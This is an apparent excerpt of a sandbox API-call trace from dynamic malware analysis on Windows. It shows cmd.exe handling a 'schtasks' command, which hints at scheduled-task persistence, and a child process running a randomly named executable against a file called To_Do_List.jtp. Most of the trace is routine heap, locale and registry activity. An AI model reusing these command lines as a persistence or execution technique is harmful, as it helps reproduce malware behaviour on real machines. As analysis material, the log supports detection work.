lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0084.191] GetProcessHeap () returned 0x2b0000 [0084.191] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c2448 | out: hHeap=0x2b0000) returned 1 [0084.191] GetProcessHeap () returned 0x2b0000 [0084.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x400e) returned 0x2c43f0 [0084.192] GetProcessHeap () returned 0x2b0000 [0084.192] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x104) returned 0x2c8408 [0084.192] GetProcessHeap () returned 0x2b0000 [0084.192] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c43f0 | out: hHeap=0x2b0000) returned 1 [0084.192] GetConsoleOutputCP () returned 0x1b5 [0084.192] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0084.192] GetUserDefaultLCID () returned 0x409 [0084.192] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x26fa00, cchData=128 | out: lpLCData="0") returned 2 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x26fa00, cchData=128 | out: lpLCData="0") returned 2 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x26fa00, cchData=128 | out: lpLCData="1") returned 2 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0084.193] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0084.193] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0084.195] GetProcessHeap () returned 0x2b0000 [0084.195] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x20c) returned 0x2c8518 [0084.195] GetConsoleTitleW (in: lpConsoleTitle=0x2c8518, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0084.195] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0084.195] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0084.195] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0084.195] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0084.197] GetProcessHeap () returned 0x2b0000 [0084.197] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x400a) returned 0x2c43f0 [0084.197] GetProcessHeap () returned 0x2b0000 [0084.197] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c43f0 | out: hHeap=0x2b0000) returned 1 [0084.198] _wcsicmp (_String1="schtasks", _String2=")") returned 74 [0084.198] _wcsicmp (_String1="FOR", _String2="schtasks") returned -13 [0084.198] _wcsicmp (_String1="FOR/?", _String2="schtasks") returned -13 [0084.198] _wcsicmp (_String1="IF", _String2="schtasks") returned -10 [0084.198] _wcsicmp (_String1="IF/?", _String2="schtasks") returned -10 [0084.198] _wcsicmp (_String1="REM", _String2="schtasks") returned -1 [0084.198] _wcsicmp (_String1="REM/?", _String2="schtasks") returned -1 [0084.198] GetProcessHeap () returned 0x2b0000 [0084.198] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x58) returned 0x2c2448 [0084.198] GetProcessHeap () returned 0x2b0000 [0084.198] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1a) returned 0x2c24e8 [0084.200] GetProcessHeap () returned 0x2b0000 [0084.200] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xf0) returned 0x2c8730 [0084.201] GetConsoleTitleW (in: lpConsoleTitle=0x26f6f8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0084.202] _wcsicmp (_String1="schtasks", _String2="DIR") returned 15 [0084.202] _wcsicmp (_String1="schtasks", _String2="ERASE") returned 14 [0084.202] _wcsicmp (_String1="schtasks", _String2="DEL") returned 15 [0084.202] _wcsicmp (_String1="schtasks", _String2="TYPE") returned -1 [0084.202] _wcsicmp (_String1="schtasks", _String2="COPY") returned 16 [0084.202] _wcsicmp (_String1="schtasks", _String2="CD") returned 16 [0084.202] _wcsicmp (_String1="schtasks", _String2="CHDIR") returned 16 [0084.202] _wcsicmp (_String1="schtasks", _String2="RENAME") returned 1 [0084.202] _wcsicmp (_String1="schtasks", _String2="REN") returned 1 [0084.202] _wcsicmp (_String1="schtasks", _String2="ECHO") returned 14 [0084.202] _wcsicmp (_String1="schtasks", _String2="SET") returned -2 [0084.202] _wcsicmp (_String1="schtasks", _String2="PAUSE") returned 3 [0084.202] _wcsicmp (_String1="schtasks", _String2="DATE") returned 15 [0084.202] _wcsicmp (_String1="schtasks", _String2="TIME") returned -1 [0084.202] _wcsicmp (_String1="schtasks", _String2="PROMPT") returned 3 [0084.202] _wcsicmp (_String1="schtasks", _String2="MD") returned 6 [0084.202] _wcsicmp (_String1="schtasks", _String2="MKDIR") returned 6 [0084.202] _wcsicmp (_String1="schtasks", _String2="RD") returned 1 [0084.202] _wcsicmp (_String1="schtasks", _String2="RMDIR") returned 1 [0084.202] _wcsicmp (_String1="schtasks", _String2="PATH") returned 3 [0084.202] _wcsicmp (_String1="schtasks", _String2="GOTO") returned 12 [0084.202] _wcsicmp (_String1="schtasks", _String2="SHIFT") returned -5 [0084.202] _wcsicmp (_String1="schtasks", _String2="CLS") returned 16 [0084.202] _wcsicmp (_String1="schtasks", _String2="CALL") returned 16 [0084.202] _wcsicmp (_String1="schtasks", _String2="VERIFY") returned -3 [0084.202] _wcsicmp (_String1="schtasks", _String2="VER") returned -3 [0084.202] _wcsicmp (_String1="schtasks", _String2="VOL") returned -3 [0084.202] _wcsicmp (_String1="schtasks", _String2="EXIT") returned 14 [0084.202] _wcsicmp (_String1="schtasks", _String2="SETLOCAL") returned -2 [0084.202] _wcsicmp (_String1="schtasks", _String2="ENDLOCAL") returned 14 [0084.202] _wcsicmp (_String1="schtasks", _String2="TITLE") returned -1 [0084.202] _wcsicmp (_String1="schtasks", _String2="START") returned -17 [0084.202] _wcsicmp (_String1="schtasks", _String2="DPATH") returned 15 [0084.202] _wcsicmp (_String1="schtasks", _String2="KEYS") returned 8 [0084.202] _wcsicmp (_String1="schtasks", _String2="MOVE") returned 6 [0084.202] _wcsicmp (_String1="schtasks", _String2="PUSHD") returned 3 [0084.203] _wcsicmp (_String1="schtasks", _String2="POPD") returned 3 [0084.203] _wcsicmp (_String1="schtasks", _String2="ASSOC") returned 18 [0084.203] _wcsicmp (_String1="schtasks", _String2="FTYPE") returned 13 [0084.203] _wcsicmp (_String1="schtasks", _String2="BREAK") returned 17 [0084.203] _wcsicmp (_String1="schtasks", _String2="COLOR") returned 16 [0084.203] _wcsicmp (_String1="schtasks", _String2="MKLINK") returned 6 [0084.203] _wcsicmp (_String1="schtasks", _String2="DIR") returned 15 [0084.203] _wcsicmp (_String1="schtasks", _String2="ERASE") returned 14 [0084.203] _wcsicmp (_String1="schtasks", _String2="DEL") returned 15 [0084.203] _wcsicmp (_String1="schtasks", _String2="TYPE") returned -1 [0084.203] _wcsicmp (_String1="schtasks", _String2="COPY") returned 16 [0084.203] _wcsicmp (_String1="schtasks", _String2="CD") returned 16 [0084.203] _wcsicmp (_String1="schtasks", _String2="CHDIR") returned 16 [0084.203] _wcsicmp (_String1="schtasks", _String2="RENAME") returned 1 [0084.203] _wcsicmp (_String1="schtasks", _String2="REN") returned 1 [0084.203] _wcsicmp (_String1="schtasks", _String2="ECHO") returned 14 [0084.203] _wcsicmp (_String1="schtasks", _String2="SET") returned -2 [0084.203] _wcsicmp (_String1="schtasks", _String2="PAUSE") returned 3 [0084.203] _wcsicmp (_String1="schtasks", _String2="DATE") returned 15 [0084.203] _wcsicmp (_String1="schtasks", _String2="TIME") returned -1 [0084.203] _wcsicmp (_String1="schtasks", _String2="PROMPT") returned 3 [0084.203] _wcsicmp (_String1="schtasks", _String2="MD") returned 6 [0084.203] _wcsicmp (_String1="schtasks", _String2="MKDIR") returned 6 [0084.203] _wcsicmp (_String1="schtasks", _String2="RD") returned 1 [0084.203] _wcsicmp (_String1="schtasks", _String2="RMDIR") returned 1 [0084.203] _wcsicmp (_String1="schtasks", _String2="PATH") returned 3 [0084.203] _wcsicmp (_String1="schtasks", _String2="GOTO") returned 12 [0084.203] _wcsicmp (_String1="schtasks", _String2="SHIFT") returned -5 [0084.203] _wcsicmp (_String1="schtasks", _String2="CLS") returned 16 [0084.203] _wcsicmp (_String1="schtasks", _String2="CALL") returned 16 [0084.203] _wcsicmp (_String1="schtasks", _String2="VERIFY") returned -3 [0084.203] _wcsicmp (_String1="schtasks", _String2="VER") returned -3 [0084.203] _wcsicmp (_String1="schtasks", _String2="VOL") returned -3 [0084.203] _wcsicmp (_String1="schtasks", _String2="EXIT") returned 14 [0084.203] _wcsicmp (_String1="schtasks", _String2="SETLOCAL") returned -2 [0084.203] _wcsicmp (_String1="schtasks", _String2="ENDLOCAL") returned 14 [0084.203] _wcsicmp (_String1="schtasks", _String2="TITLE") returned -1 [0084.204] _wcsicmp (_String1="schtasks", _String2="START") returned -17 [0084.204] _wcsicmp (_String1="schtasks", _String2="DPATH") returned 15 [0084.204] _wcsicmp (_String1="schtasks", _String2="KEYS") returned 8 [0084.204] _wcsicmp (_String1="schtasks", _String2="MOVE") returned 6 [0084.204] _wcsicmp (_String1="schtasks", _String2="PUSHD") returned 3 [0084.204] _wcsicmp (_String1="schtasks", _String2="POPD") returned 3 [0084.204] _wcsicmp (_String1="schtasks", _String2="ASSOC") returned 18 [0084.204] _wcsicmp (_String1="schtasks", _String2="FTYPE") returned 13 [0084.204] _wcsicmp (_String1="schtasks", _String2="BREAK") returned 17 [0084.204] _wcsicmp (_String1="schtasks", _String2="COLOR") returned 16 [0084.204] _wcsicmp (_String1="schtasks", _String2="MKLINK") returned 6 [0084.204] _wcsicmp (_String1="schtasks", _String2="FOR") returned 13 [0084.204] _wcsicmp (_String1="schtasks", _String2="IF") returned 10 [0084.204] _wcsicmp (_String1="schtasks", _String2="REM") returned 1 [0084.204] GetProcessHeap () returned 0x2b0000 [0084.204] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x210) returned 0x2c8828 [0084.204] GetProcessHeap () returned 0x2b0000 [0084.204] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x102) returned 0x2c8a40 [0084.204] _wcsnicmp (_String1="scht", _String2="cmd ", _MaxCount=0x4) returned 16 [0084.204] GetProcessHeap () returned 0x2b0000 [0084.205] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x418) returned 0x2c8b50 [0084.205] SetErrorMode (uMode=0x0) returned 0x0 [0084.205] SetErrorMode (uMode=0x1) returned 0x0 [0084.205] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2c8b58, lpFilePart=0x26f218 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f218*="Desktop") returned 0x25 [0084.205] SetErrorMode (uMode=0x0) returned 0x1 [0084.205] GetProcessHeap () returned 0x2b0000 [0084.205] RtlReAllocateHeap (Heap=0x2b0000, Flags=0x0, Ptr=0x2c8b50, Size=0x66) returned 0x2c8b50 [0084.205] GetProcessHeap () returned 0x2b0000 [0084.205] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c8b50) returned 0x66 [0084.205] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0084.205] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0084.205] GetProcessHeap () returned 0x2b0000 [0084.205] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x120) returned 0x2c8bc0 [0084.205] GetProcessHeap () returned 0x2b0000 [0084.205] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x238) returned 0x2c8ce8 [0084.213] GetConsoleTitleW (in: lpConsoleTitle=0x26f48c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0084.213] InitializeProcThreadAttributeList (in: lpAttributeList=0x26f314, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26f3dc | out: lpAttributeList=0x26f314, lpSize=0x26f3dc) returned 1 [0084.213] UpdateProcThreadAttribute (in: lpAttributeList=0x26f314, dwFlags=0x0, Attribute=0x60001, lpValue=0x26f3d4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x26f314, lpPreviousValue=0x0) returned 1 [0084.213] GetStartupInfoW (in: lpStartupInfo=0x26f2d0 | out: lpStartupInfo=0x26f2d0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0084.836] CloseHandle (hObject=0x74) returned 1 [0084.836] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0084.836] GetProcessHeap () returned 0x2b0000 [0084.836] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c2ca8 | out: hHeap=0x2b0000) returned 1 [0084.836] GetEnvironmentStringsW () returned 0x2c2ca8* [0084.836] GetProcessHeap () returned 0x2b0000 [0084.836] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xb36) returned 0x2c90d8 [0084.836] FreeEnvironmentStringsW (penv=0x2c2ca8) returned 1 [0084.836] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0100.119] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x26f2b0 | out: lpExitCode=0x26f2b0*=0x0) returned 1 [0100.120] CloseHandle (hObject=0x78) returned 1 [0100.120] _vsnwprintf (in: _Buffer=0x26f3f8, _BufferCount=0x13, _Format="%08X", _ArgList=0x26f2bc | out: _Buffer="00000000") returned 8 [0100.120] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0100.121] GetProcessHeap () returned 0x2b0000 [0100.121] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c90d8 | out: hHeap=0x2b0000) returned 1 [0100.121] GetEnvironmentStringsW () returned 0x2c90d8* [0100.121] GetProcessHeap () returned 0x2b0000 [0100.121] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xb5c) returned 0x2c6f58 [0100.121] FreeEnvironmentStringsW (penv=0x2c90d8) returned 1 [0100.121] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0100.121] GetProcessHeap () returned 0x2b0000 [0100.121] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c6f58 | out: hHeap=0x2b0000) returned 1 [0100.121] GetEnvironmentStringsW () returned 0x2c90d8* [0100.122] GetProcessHeap () returned 0x2b0000 [0100.122] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xb5c) returned 0x2c6f58 [0100.122] FreeEnvironmentStringsW (penv=0x2c90d8) returned 1 [0100.122] GetProcessHeap () returned 0x2b0000 [0100.122] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c0110 | out: hHeap=0x2b0000) returned 1 [0100.122] DeleteProcThreadAttributeList (in: lpAttributeList=0x26f314 | out: lpAttributeList=0x26f314) [0100.122] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.122] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0100.122] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.122] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0100.123] _get_osfhandle (_FileHandle=0) returned 0x3 [0100.123] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0100.123] SetConsoleInputExeNameW () returned 0x1 [0100.123] GetConsoleOutputCP () returned 0x1b5 [0100.123] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0100.123] SetThreadUILanguage (LangId=0x0) returned 0x409 [0100.123] exit (_Code=0) Process: id = "153" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xb7aa000" os_pid = "0xcc4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 703 os_tid = 0xcc8 Thread: id = 706 os_tid = 0xcd4 Thread: id = 709 os_tid = 0xce8 Process: id = "154" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0xaa96000" os_pid = "0xcd8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "137" os_parent_pid = "0xc28" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 707 os_tid = 0xcdc [0083.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x29fbf4 | out: lpSystemTimeAsFileTime=0x29fbf4*(dwLowDateTime=0xd5b49c80, dwHighDateTime=0x1d5d06a)) [0083.743] GetCurrentProcessId () returned 0xcd8 [0083.743] GetCurrentThreadId () returned 0xcdc [0083.743] GetTickCount () returned 0x115ce48 [0083.743] QueryPerformanceCounter (in: lpPerformanceCount=0x29fbec | out: lpPerformanceCount=0x29fbec*=22569522812) returned 1 [0083.744] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0083.744] __set_app_type (_Type=0x1) [0083.744] __p__fmode () returned 0x76be31f4 [0083.744] __p__commode () returned 0x76be31fc [0083.744] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0083.744] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0083.744] GetCurrentThreadId () returned 0xcdc [0083.744] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xcdc) returned 0x60 [0083.744] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0083.744] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0083.744] SetThreadUILanguage (LangId=0x0) returned 0x409 [0083.745] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0083.745] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x29fb84 | out: phkResult=0x29fb84*=0x0) returned 0x2 [0083.745] VirtualQuery (in: lpAddress=0x29fbbb, lpBuffer=0x29fb54, dwLength=0x1c | out: lpBuffer=0x29fb54*(BaseAddress=0x29f000, AllocationBase=0x1a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0083.745] VirtualQuery (in: lpAddress=0x1a0000, lpBuffer=0x29fb54, dwLength=0x1c | out: lpBuffer=0x29fb54*(BaseAddress=0x1a0000, AllocationBase=0x1a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0083.745] VirtualQuery (in: lpAddress=0x1a1000, lpBuffer=0x29fb54, dwLength=0x1c | out: lpBuffer=0x29fb54*(BaseAddress=0x1a1000, AllocationBase=0x1a0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0083.745] VirtualQuery (in: lpAddress=0x1a3000, lpBuffer=0x29fb54, dwLength=0x1c | out: lpBuffer=0x29fb54*(BaseAddress=0x1a3000, AllocationBase=0x1a0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0083.745] VirtualQuery (in: lpAddress=0x2a0000, lpBuffer=0x29fb54, dwLength=0x1c | out: lpBuffer=0x29fb54*(BaseAddress=0x2a0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0083.745] GetConsoleOutputCP () returned 0x1b5 [0083.745] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0083.745] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0083.745] _get_osfhandle (_FileHandle=1) returned 0x80 [0083.745] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0083.745] _get_osfhandle (_FileHandle=1) returned 0x80 [0083.745] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0083.746] _get_osfhandle (_FileHandle=0) returned 0x3 [0083.746] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0083.746] GetEnvironmentStringsW () returned 0x6721e0* [0083.746] GetProcessHeap () returned 0x660000 [0083.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0xb84) returned 0x672d70 [0083.746] FreeEnvironmentStringsW (penv=0x6721e0) returned 1 [0083.746] GetProcessHeap () returned 0x660000 [0083.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x4) returned 0x672060 [0083.746] GetEnvironmentStringsW () returned 0x6721e0* [0083.746] GetProcessHeap () returned 0x660000 [0083.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0xb84) returned 0x673900 [0083.746] FreeEnvironmentStringsW (penv=0x6721e0) returned 1 [0083.746] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x29eaf4 | out: phkResult=0x29eaf4*=0x68) returned 0x0 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x0, lpData=0x29eb00*=0x0, lpcbData=0x29eaf8*=0x1000) returned 0x2 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x4, lpData=0x29eb00*=0x1, lpcbData=0x29eaf8*=0x4) returned 0x0 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x0, lpData=0x29eb00*=0x1, lpcbData=0x29eaf8*=0x1000) returned 0x2 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x4, lpData=0x29eb00*=0x0, lpcbData=0x29eaf8*=0x4) returned 0x0 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x4, lpData=0x29eb00*=0x40, lpcbData=0x29eaf8*=0x4) returned 0x0 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x4, lpData=0x29eb00*=0x40, lpcbData=0x29eaf8*=0x4) returned 0x0 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x0, lpData=0x29eb00*=0x40, lpcbData=0x29eaf8*=0x1000) returned 0x2 [0083.747] RegCloseKey (hKey=0x68) returned 0x0 [0083.747] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x29eaf4 | out: phkResult=0x29eaf4*=0x68) returned 0x0 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x0, lpData=0x29eb00*=0x40, lpcbData=0x29eaf8*=0x1000) returned 0x2 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x4, lpData=0x29eb00*=0x1, lpcbData=0x29eaf8*=0x4) returned 0x0 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x0, lpData=0x29eb00*=0x1, lpcbData=0x29eaf8*=0x1000) returned 0x2 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x4, lpData=0x29eb00*=0x0, lpcbData=0x29eaf8*=0x4) returned 0x0 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x4, lpData=0x29eb00*=0x9, lpcbData=0x29eaf8*=0x4) returned 0x0 [0083.747] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x4, lpData=0x29eb00*=0x9, lpcbData=0x29eaf8*=0x4) returned 0x0 [0083.747] 